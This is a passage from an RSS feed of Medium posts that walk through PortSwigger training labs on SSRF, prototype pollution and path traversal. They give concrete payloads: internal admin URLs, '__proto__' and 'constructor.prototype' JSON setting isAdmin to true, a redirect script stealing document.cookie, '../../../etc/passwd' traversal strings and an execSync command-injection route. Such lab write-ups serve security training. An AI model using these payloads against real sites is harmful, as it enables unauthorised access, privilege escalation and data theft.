            <content:encoded><![CDATA[<p>I. SSRF with blacklist-based input filter</p><p>This lab has a stock check feature which fetches data from an internal system.</p><p>To solve the lab, change the stock check URL to access the admin interface at <a href="http://localhost/admin">http://localhost/admin</a> and delete the user carlos.</p><p>The developer has deployed two weak anti-SSRF defenses that you will need to bypass</p><h3>Solution</h3><ol><li>Open any product then check for stock</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LgNYUAorx_VueNhUxRbbyA.png" /></figure><p>2. send the `<strong>POST /product/stock</strong>` request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aM9uJB2LJxcjGTy5ZRoR2A.png" /></figure><p>3. In repeater modify the stockApi parameter to <a href="http://127.0.0.1/admin">http://127.1/admin</a>, but this gets blocked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hzG6ml0ho3PjuZ-Fp_dW7g.png" /></figure><p>4. To bypass this, double URL encode the word admin via burp decoder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*21_sQisrQtPdVrLW6VVahw.png" /></figure><p>5. Use the double encoded string as the parameter for stockApi</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UBajhMaf5_1rEXya96V-PQ.png" /></figure><p>6. Success! now modify the parameter again to delete user `carlos`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5fVn9Wp3gwvC-_K-mKb-oA.png" /></figure><p>7. Carlos deleted, lab solved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lwaaYLJHzFxU8lD5fCHjTA.png" /></figure><h3>II. <strong>SSRF with filter bypass via open redirection vulnerability</strong></h3><p>This lab has a stock check feature which fetches data from an internal system.</p><p>To solve the lab, change the stock check URL to access the admin interface at <a href="http://192.168.0.12:8080/admin">http://192.168.0.12:8080/admin</a> and delete the user carlos.</p><p>The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first.</p><h3>Solution</h3><ol><li>Open any product then check for stock</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qe3YRFxToaOWcoQMTAcp-w.png" /></figure><p>2. send the `<strong>POST /product/stock</strong>` request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uYk34i9RD8dn_9iH92VCTg.png" /></figure><p>3. In repeater modifying the stockApi with previous SSRF techniques doesn’t go through and is not possible<br>4. In Step 1, try clicking the `<strong>Next product</strong>` on the lower right side of the application<br>5. Analyze Burp Suite HTTP History, there’s this endpoint with a path parameter, send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*A3rBdViKbygDlbXaDzd2Rg.png" /></figure><p>6. Modify the path parameter to access the admin interface<br>as per the lab given details: “To solve the lab, change the stock check URL to access the admin interface at <a href="http://192.168.0.12:8080/admin">http://192.168.0.12:8080/admin</a> and delete the user carlos.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*75WjUng7MdZAUtyzJ_rPDQ.png" /></figure><p>7. We can now see a redirection to the admin interface. Modify the path parameter again to delete user carlos</p><pre>?path=http://192.168.0.12:8080/admin/delete?username=carlos</pre><p>8. Doesn’t work, so we copy the GET request and use that as a parameter for stockApi from the previous `<strong>POST /product/stock</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IfmoubcxhMLFIDf6mRoYeQ.png" /></figure><p>9. Congrats! Lab solved</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l6yEeENl0KV5tATmD5yDBw.png" /></figure><h3>III. <strong>Blind SSRF with out-of-band detection</strong></h3><p>This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.</p><p>To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server.</p><p>Note<br>To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.</p><h3>Solution</h3><ol><li>Open any product in the application</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4D7AT1-Wox7yzkuHA5Zs6w.png" /></figure><p>2. Check its request in Burp Suite HTTP History then send it to Burp Suite Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jVOd_0Z6IGmLuqrE09_Fpw.png" /></figure><p>3. Switch to the Collaborator tab and press “Copy to clipboard”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0dPCNFluer01bRSEp3_OQg.png" /></figure><p>4. Back to Repeater, paste what you have copied and paste it on the repeater `<strong>Referer</strong>` header, send request</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AaCkVdSW-XRV0SSgqkZXeA.png" /></figure><p>5. This method automatically solves the lab. Congrats!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wpa-x1CddbFYeDt_at4-1Q.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=32ff711ea2dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Labs: Prototype Pollution Writeup (All labs)]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-labs-prototype-pollution-writeup-all-labs-9a2534bc8e07?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/9a2534bc8e07</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[web-application-security]]></category>
            <category><![CDATA[portswigger]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[burpsuite]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Mon, 03 Nov 2025 01:48:31 GMT</pubDate>
            <atom:updated>2025-11-03T01:48:31.518Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>I. DOM XSS via client-side prototype pollution</strong></h3><p>This lab is vulnerable to DOM XSS via client-side prototype pollution. To solve the lab:</p><p>1. Find a source that you can use to add arbitrary properties to the global Object.prototype.<br>2. Identify a gadget property that allows you to execute arbitrary JavaScript.Combine these to call alert().</p><p>You can solve this lab manually in your browser, or use DOM Invader to help you.</p><h3>Solution</h3><ol><li>Open BurpSuite browser in Proxy -&gt; Intercept tab</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*erexktEg8rt-aKAxfPaDAw.png" /></figure><p>2. A chromium browser opens, open the lab link in Burp browser then enable DOM Invader extension, also enable Prototype pollution in DOM Invader attack types</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0fWiPKCK48nYXBkNfP6y8w.png" /></figure><p>3. Open Browser Dev Tools (F12) -&gt; Switch to DOM Invader tab then refresh the page, notice DOM Invader has identified two prototype pollution vectors in the search property i.e. the query string.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hCNegRQ7ZN-juhheNNSCWQ.png" /></figure><p>4. Click `<strong>Scan for gadgets</strong>` then a new tab opens in which DOM Invader begins scanning<br>5. After scanning, open DevTools panel in the same tab as the scan then go to DOM Invader tab<br>6. Notice that DOM Invader has successfully accessed the `<strong>script.src</strong>` sink via the `<strong>transport_url</strong>` gadget<br>7. Click `<strong>Exploit</strong>`. DOM Invader will automatically generate a proof of concept exploit and will call `<strong>alert(1)</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VRZJ6F5hxD_k5E21InK5DA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_PiKY5T4_zxxH352kEzqXA.png" /></figure><p>8. Lab solved, congrats!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nJZxkMXpfwwsXeaxXGfxmg.png" /></figure><h3><strong>II. Client-side prototype pollution via flawed sanitization</strong></h3><p>This lab is vulnerable to DOM XSS via client-side prototype pollution. Although the developers have implemented measures to prevent prototype pollution, these can be easily bypassed.</p><p>To solve the lab:</p><p>1. Find a source that you can use to add arbitrary properties to the global Object.prototype.<br>2. Identify a gadget property that allows you to execute arbitrary JavaScript.<br>3. Combine these to call alert().</p><h3>Solution</h3><ol><li>Same with previous labs, we’ll utilize DOM Invader with this one</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZDT1H7aXlEtrNoEkhJVl9A.png" /></figure><p>2. No sweat!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tkluVrLERIyEnQUv153tHQ.png" /></figure><p>3. Wow that was fast, congrats! you have solved the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jZ3-RVvN5TZlwCzl4y5msg.png" /></figure><h3>III. Client-side prototype pollution in third-party libraries</h3><p>This lab is vulnerable to DOM XSS via client-side prototype pollution. This is due to a gadget in a third-party library, which is easy to miss due to the minified source code. Although it’s technically possible to solve this lab manually, we recommend using DOM Invader as this will save you a considerable amount of time and effort.</p><p>To solve the lab:</p><p>1. Use DOM Invader to identify a prototype pollution and a gadget for DOM XSS.<br>2. Use the provided exploit server to deliver a payload to the victim that calls `alert(document.cookie)` in their browser.</p><p>This lab is based on real-world vulnerabilities discovered by PortSwigger Research. For more details, check out Widespread prototype pollution gadgets by Gareth Heyes.</p><h3>Solution</h3><ol><li>Same with previous labs, we’ll utilize DOM Invader with this one</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P2Bu4053-kubG5E-Y5VGXQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AUDYUmbYX3I8DPLKLbqZtg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B-7lye-ntlbw4U838s9pXQ.png" /></figure><p>2. Based from the task, *”<em>Use the provided exploit server to deliver a payload to the victim that calls </em>`<strong>alert(document.cookie)</strong>` <em>in their browser.</em>*”<br>3. We’ll just modify the URL to get desired cookie</p><pre>#__proto__[hitCallback]=alert%28document.cookie%29</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gJiZFn4C_fruqsz6_BZ5kg.png" /></figure><p>4. Go to the exploit server, in the `<strong>body</strong>` section, insert the following:</p><pre>&lt;script&gt;<br>    location=&quot;https://YOUR-LAB-ID.web-security-academy.net/#__proto__[hitCallback]=alert%28document.cookie%29&quot;<br>&lt;/script&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wT-N2BHHUp08xbx450rQQw.png" /></figure><p>5. Click Deliver exploit to victim</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XxE-4eqQKrH279Go_ghNFg.png" /></figure><h3>IV. C<strong>lient-side prototype pollution via browser APIs</strong></h3><p>This lab is vulnerable to DOM XSS via client-side prototype pollution. The website’s developers have noticed a potential gadget and attempted to patch it. However, you can bypass the measures they’ve taken.</p><p>To solve the lab:</p><p>1. Find a source that you can use to add arbitrary properties to the global Object.prototype.<br>2. Identify a gadget property that allows you to execute arbitrary JavaScript.<br>3. Combine these to call alert().</p><p>You can solve this lab manually in your browser, or use DOM Invader to help you.</p><p>This lab is based on real-world vulnerabilities discovered by PortSwigger Research. For more details, check out Widespread prototype pollution gadgets by Gareth Heyes.</p><h3><strong>Solution</strong></h3><ol><li>Same with previous labs, we’ll utilize DOM Invader with this one</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5HIvbY2dX4at5Cc43phDjw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*za-bmT8HvTcuVkNAS7u_pQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QBzromFcAyMWiLtwuWDSWQ.png" /></figure><p>2. Took us only 4 clicks</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bnvR0H3crozSKzDTupQzyw.png" /></figure><h3>V. <strong>Privilege escalation via server-side prototype pollution</strong></h3><p>This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it unsafely merges user-controllable input into a server-side JavaScript object. This is simple to detect because any polluted properties inherited via the prototype chain are visible in an HTTP response.</p><p>To solve the lab:</p><p>1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.<br>2. Identify a gadget property that you can use to escalate your privileges.<br>3. Access the admin panel and delete the user carlos.</p><p>You can log in to your own account with the following credentials:</p><p>wiener:peter</p><p>***<strong>Note</strong>***<br>When testing for server-side prototype pollution, it’s possible to break application functionality or even bring down the server completely. If this happens to your lab, you can manually restart the server using the button provided in the lab banner. Remember that you’re unlikely to have this option when testing real websites, so you should always use caution.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. After logging in, you will be redirected to the `<strong>My-Account</strong>` page, click submit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*x7Wbh51bpJE2wiyU46Dwcg.png" /></figure><p>3. Check Burp Suite HTTP History, details were sent to the server as JSON format and the server also responded with a JSON object that looks like user wiener. Send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O6oEX1ktQmiuCM6U0Nervw.png" /></figure><p><strong>Identify a prototype pollution source</strong></p><ol><li>In repeater, add a new property to the JSON request with the name `<strong>__proto__</strong>` that contains an object with an arbitrary property</li></ol><pre>&quot;__proto__&quot;: {<br> &quot;foo&quot;:&quot;bar&quot;<br>}</pre><p>2. Notice that after sending the request, the response now includes the property `<strong>__proto__</strong>` that we ejected. This means that we have successfully polluted the object’s prototype and that our property has been inherited via the prototype chain</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9JMPCbXbfYmlxrzW1BmoBA.png" /></figure><p>3. Notice the response, there is also a property called `<strong>isAdmin</strong>` set to `<strong>false</strong>`</p><p><strong>Crafting an exploit<br></strong>1. Modify the request to change the status of `<strong>isAdmin</strong>` to `<strong>true</strong>`</p><pre>&quot;__proto__&quot;: {<br> &quot;isAdmin&quot;:true<br>}</pre><p>2. Successfully modified the admin property</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hyZfL8sN8uD-pz7P_6ud8A.png" /></figure><p>3. Reload wiener’s account, notice a new feature on his account, `<strong>Admin Panel</strong>`, open that link</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ct73qpdVbh2cbggkPG3d6A.png" /></figure><p>4. Delete user <strong>carlos </strong>to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WschJlpJXsd9tZG-KWUMeA.png" /></figure><h3>VI. <strong>Detecting server-side prototype pollution without polluted property reflection</strong></h3><p>This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it unsafely merges user-controllable input into a server-side JavaScript object.</p><p>To solve the lab, confirm the vulnerability by polluting Object.prototype in a way that triggers a noticeable but non-destructive change in the server’s behavior. As this lab is designed to help you practice non-destructive detection techniques, you don’t need to progress to exploitation.</p><p>You can log in to your own account with the following credentials:</p><p>wiener:peter</p><p>***<strong>Note</strong>***<br>When testing for server-side prototype pollution, it’s possible to break application functionality or even bring down the server completely. If this happens to your lab, you can manually restart the server using the button provided in the lab banner. Remember that you’re unlikely to have this option when testing real websites, so you should always use caution.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. After logging in, you will be redirected to the `<strong>My-Account</strong>` page, click submit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dJ5MYhxq77ZBd3lxeIUkFA.png" /></figure><p>3. Check Burp Suite HTTP History, details were sent to the server as JSON format and the server also responded with a JSON object that looks like user wiener. Send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kb4qTtcMwZ8_bK_wZLDtFg.png" /></figure><p>4. Add an arbitrary UTF-7 encoded string to a property that’s reflected in a response. For example, foo in UTF-7 is `<strong>+AGYAbwBv-</strong>`, Servers won’t use UTF-7 encoding by default, so this string should appear in the response in its encoded form.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UunFhGExRbgKeUJ9Ut2Xow.png" /></figure><p>5. Try to pollute the prototype with a content-type property that explicitly specifies the UTF-7 character set:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zmFwdPppH8LX3-D8kE8iFA.png" /></figure><p>6. Go back to step 4 and resend the request, notice that the response is now `<strong>foo</strong>`, the UTF-7 was decoded and we successfully polluted the prototype</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7N1jw6mpma6sekanwj5sEg.png" /></figure><h3>VII. Bypassing flawed input filters for server-side prototype pollution</h3><p>This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it unsafely merges user-controllable input into a server-side JavaScript object.</p><p>To solve the lab:</p><p>1. Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.<br>2. Identify a gadget property that you can use to escalate your privileges.<br>3. Access the admin panel and delete the user carlos.</p><p>You can log in to your own account with the following credentials:</p><p>wiener:peter</p><p><strong>Note</strong><br> When testing for server-side prototype pollution, it’s possible to break application functionality or even bring down the server completely. If this happens to your lab, you can manually restart the server using the button provided in the lab banner. Remember that you’re unlikely to have this option when testing real websites, so you should always use caution.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. After logging in, you will be redirected to the `My-Account` page, click submit<br>3. Check Burp Suite HTTP History, details were sent to the server as JSON format and the server also responded with a JSON object that looks like user wiener. Send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UeX8gudSBc3F9L3dAmW2-w.png" /></figure><p><strong>Test for prototype pollution source</strong><br>1. add a new property to the JSON with the name `<strong>__proto__</strong>`, containing an object with a json spaces property, make sure to use `Raw` tab in response</p><pre>&quot;__proto__&quot;: {<br>    &quot;json spaces&quot;:10<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VCnDXdY4LY2tuSRaAd395w.png" /></figure><p>2. Nothing happens, we now modify the request and try using the constructor property</p><pre>&quot;constructor&quot;: {<br>    &quot;prototype&quot;: {<br>        &quot;json spaces&quot;:10<br>    }<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*22VepPaXQ6PUl36XdG9q8Q.png" /></figure><p>3. Notice in the response that the JSON indentation has increased to 10. This means that you have successfully polluted the prototype.</p><p><strong>Identifying a gadget<br></strong>1. Notice the `<strong>isAdmin</strong>` property is set to `<strong>false</strong>`</p><p><strong>Creating an exploit</strong></p><ol><li>Modify the constructor request to try to set the isAdmin property to true</li></ol><pre>&quot;constructor&quot;: {<br>    &quot;prototype&quot;: {<br>        &quot;isAdmin&quot;:true<br>    }<br>}</pre><p>2. Successfully modified the isAdmin property to true! Now user wiener has admin rights</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zvn16h71ey81-GSnQlcwpw.png" /></figure><p>3. Refreshing the web application shows that user wiener has the `<strong>Admin panel</strong>` now</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kwYKOv6ZGYfP1KhFZEVTJQ.png" /></figure><p>4. Open the Admin panel, delete user carlos to solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WgXouh248gTYNgEz7IwXA.png" /></figure><h3><strong>VIII. Remote code execution via server-side prototype pollution</strong></h3><p>This lab is built on Node.js and the Express framework. It is vulnerable to server-side prototype pollution because it unsafely merges user-controllable input into a server-side JavaScript object.</p><p>Due to the configuration of the server, it’s possible to pollute Object.prototype in such a way that you can inject arbitrary system commands that are subsequently executed on the server.</p><p>To solve the lab:</p><p>- Find a prototype pollution source that you can use to add arbitrary properties to the global Object.prototype.<br>- Identify a gadget that you can use to inject and execute arbitrary system commands.<br>- Trigger remote execution of a command that deletes the file /home/carlos/morale.txt.</p><p>In this lab, you already have escalated privileges, giving you access to admin functionality. You can log in to your own account with the following credentials:</p><p>wiener:peter</p><p>*<strong>Hint</strong>*<br>The command execution sink is only invoked when an admin user triggers vulnerable functionality on the site.</p><p>*<strong>Note</strong>*<br> When testing for server-side prototype pollution, it’s possible to break application functionality or even bring down the server completely. If this happens to your lab, you can manually restart the server using the button provided in the lab banner. Remember that you’re unlikely to have this option when testing real websites, so you should always use caution.</p><h3>Solution</h3><p>1. Login with the given credentials, wiener:peter<br>2. After logging in, you will be redirected to the `<strong>My-Account</strong>` page, click submit<br>3. Check Burp Suite HTTP History, details were sent to the server as JSON format and the server also responded with a JSON object that looks like user wiener. Send this request to Repeater</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZZXPt7ck9_3IJZdDlJj7Q.png" /></figure><p><strong>Test for prototype pollution source</strong></p><ol><li>add a new property to the JSON with the name `<strong>__proto__</strong>`, containing an object with a json spaces property, make sure to use `Raw` tab in response</li></ol><pre>&quot;__proto__&quot;: {<br>    &quot;json spaces&quot;:10<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vo-ww3F3-WNxMkGhYG9nog.png" /></figure><p>2. Notice in the response that the JSON indentation has increased to 10. This means that you have successfully polluted the prototype.</p><p><strong>Probe for remote code execution</strong></p><p>1. Go to the admin panel -&gt; Maintenance Jobs -&gt; Run maintenance jobs<br>2. Click the button and observe that this triggers background tasks that clean up the database and filesystem. This is an example of the kind of functionality that may spawn node child processes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cTc26JOmpVXSZrghlYRIuA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-SbaqM8sj0dMDqzAYz4qPA.png" /></figure><p>3. Try polluting the prototype with a malicious `<strong>execArgv</strong>` property that adds the ` <strong>— eval</strong> `argument to the spawned child process. Use this to call the `<strong>execSync() sink</strong>`, passing in a command that triggers an interaction with the public `<strong>Burp Collaborator server</strong>`.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H3xn8eJYdef3MdDp3nZUvw.png" /></figure><p>Should look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ObbeC_iufylrnIS0rO4tzw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ajxC1KrOK5-war-S404X1w.png" /></figure><p>4. After sending the request, navigate to the admin panel again and try to run maintenance jobs once more. Notice that it failed this time</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0NSVkVjpgRiFlhx_iGUNoA.png" /></figure><p>5. Check Burp Suite Collaborator, observe that you have received several DNS transactions, confirming the remote code execution</p><p>6. Modify the prototype again in Repeater with the following below, send the request then run a maintenance job once more.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dRkrNGy3kDjwBTVTT73ARQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xc96lJA9qIf8soESNXUrdQ.png" /></figure><p>7. This will automatically remove `<strong>/home/carlos/morale.txt</strong>` file, solving the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rl1Pvc3BiW-TaLnxywPvnQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9a2534bc8e07" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PortSwigger Lab: Path traversal writeup (All labs)]]></title>
            <link>https://medium.com/@awes0me.writes/portswigger-lab-path-traversal-writeup-all-labs-030d60dd898a?source=rss-1fd57f472c27------2</link>
            <guid isPermaLink="false">https://medium.com/p/030d60dd898a</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[web-app-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[awes0meness]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 03:54:46 GMT</pubDate>
            <atom:updated>2025-07-29T03:54:46.298Z</atom:updated>
            <content:encoded><![CDATA[<h3>I. <strong>File path traversal, simple case</strong></h3><p>This lab contains a path traversal vulnerability in the display of product images.</p><p>To solve the lab, retrieve the contents of the <strong>/etc/passwd</strong> file.</p><h3>Solution</h3><ol><li>Open any image in the application</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*_ZC9oI18nl7YV2TpTnaEsg.png" /></figure><p>2. Modify `<strong>5.jpg</strong>` to `<strong>../../../etc/passwd</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*aR0-ClSMrD0R7FKO4ZOiYQ.png" /></figure><p>3. Investigate Burp Suite HTTP History, the <strong>etc/passwd</strong> contents can already be seen in the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*KTx4Z9toHcWTUdF7PifwEA.png" /></figure><p>4. This method will automatically solve the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*MDCDNkJlfF8Q9W_81zUOVg.png" /></figure><h3>II. Lab: File path traversal, traversal sequences blocked with absolute path bypass</h3><p>This lab contains a path traversal vulnerability in the display of product images.</p><p>The application blocks traversal sequences but treats the supplied filename as being relative to a default working directory.</p><p>To solve the lab, retrieve the contents of the <strong>/etc/passwd</strong> file.</p><h3>Solution</h3><p>1. Navigate through the web application -&gt; Select any of the products -&gt; View details<br>2. Hover your mouse over to the image then right click -&gt; Open Image in New Tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*vVwMZIdM3o1AcHCHXA2uSQ.png" /></figure><p>3. Modify the filename perimeter in the URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*WX_oNTo_OMIf8I8j-yArvg.png" /></figure><p>4. Simply by modifying the URL from `<strong>/filename=1.jp</strong>g` to `<strong>/filename=etc/passwd</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*asitX034RjRKDuibIAyANw.png" /></figure><p>5. The result may not retrieve the output for `<strong>/etc/passwd</strong>` in the web application but after checking Burp Suite HTTP History, the contents of the `<strong>/etc/passwd</strong>` can already be seen in the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*FRN-TC69m0-O7RGvfdtzHg.png" /></figure><p>6. This method automatically solves the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*vCRiaeWWzPHyEul2RRCTtQ.png" /></figure><h3>III. Lab: File path traversal, traversal sequences stripped non-recursively</h3><p>This lab contains a path traversal vulnerability in the display of product images.</p><p>The application strips path traversal sequences from the user-supplied filename before using it.</p><p>To solve the lab, retrieve the contents of the <strong>/etc/passwd</strong> file.</p><h3>Solution</h3><p>1. Navigate through the web application -&gt; Select any of the products -&gt; View details<br>2. Hover your mouse over to the image then right click -&gt; Open Image in New Tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*srQTH6B1rmxahY3fnkPgQg.png" /></figure><p>3. Modify the filename perimeter in the URL</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1010/1*5aiyE9C8_w2424BCOTjNuA.png" /></figure><p>4. Simply by modifying the URL from `<strong>/image?filename=25.jpg</strong>` to `<strong>/image?filename=….//….//….//etc/passwd</strong>`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*14-4__lMqE-nwNKTYcZNQw.png" /></figure><p>5. The result may not return the output for `<strong>/etc/passwd</strong>` in the URL but after checking Burp Suite HTTP History, the contents of the `<strong>/etc/passwd` </strong>can already be seen in the response</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*OWtCpXxwokmjcJhkdThoDw.png" /></figure><p>6. This method automatically solves the lab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*CE5u8K5drB4pveRkb33q_Q.png" /></figure><h3>IV. Lab: File path traversal, traversal sequences stripped with superfluous URL-decode</h3><p>This lab contains a path traversal vulnerability in the display of product images.</p><p>The application blocks input containing path traversal sequences. It then performs a URL-decode of the input before using it.</p><p>To solve the lab, retrieve the contents of the <strong>/etc/passwd</strong> file.</p><h3>Solution</h3><p>1. Navigate through the web application -&gt; Select any of the products -&gt; View details<br>2. Hover your mouse over to the image then right click -&gt; Open Image in New Tab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1005/1*KrVzWKUzgs2FkeQEB5sEqA.png" /></figure><p>3. Input a simple path traversal payload after the filename just to have an HTTP history record in Burp Suite</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1013/1*aa9VwoPR1zWpODjDTYstPw.png" /></figure><p>4. In Burp Suite HTTP-History, send the `<strong>GET /image?filename=…/54.jpg</strong>` to<strong> Intruder</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1011/1*MGmXLq_OPOIV8bT6Y5scuQ.png" /></figure><p>5. Use the following setup for <strong>Burp Suite Intruder</strong>:</p><pre>1. Sniper attack<br>2. Payload position: /image?filename=§.../54.jpg§<br>3. Wordlist: Jhaddix-LFI.txt<br>Wordlist link: [LFI-Jhaddix.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Fuzzing/LFI/LFI-Jhaddix.txt)<br>4. Remove the option to &quot;URL-encode these characters&quot;<br>5. Start attack</pre><p>6. Success! We got one result with a <strong>status code 200</strong> that retrieved the <strong>/etc/passwd</strong> file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*7oER8tPXhFP4p9IexpW_hg.png" /></figure><p>7. Refreshing Burpsuite accessed lab automatically solves the exercise</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1008/1*U_R6d0hJ_EkIZohlLK4k1Q.png" /></figure><h3>V. Lab: File path traversal, validation of start of path</h3><p>This lab contains a path traversal vulnerability in the display of product images.</p><p>The application transmits the full file path via 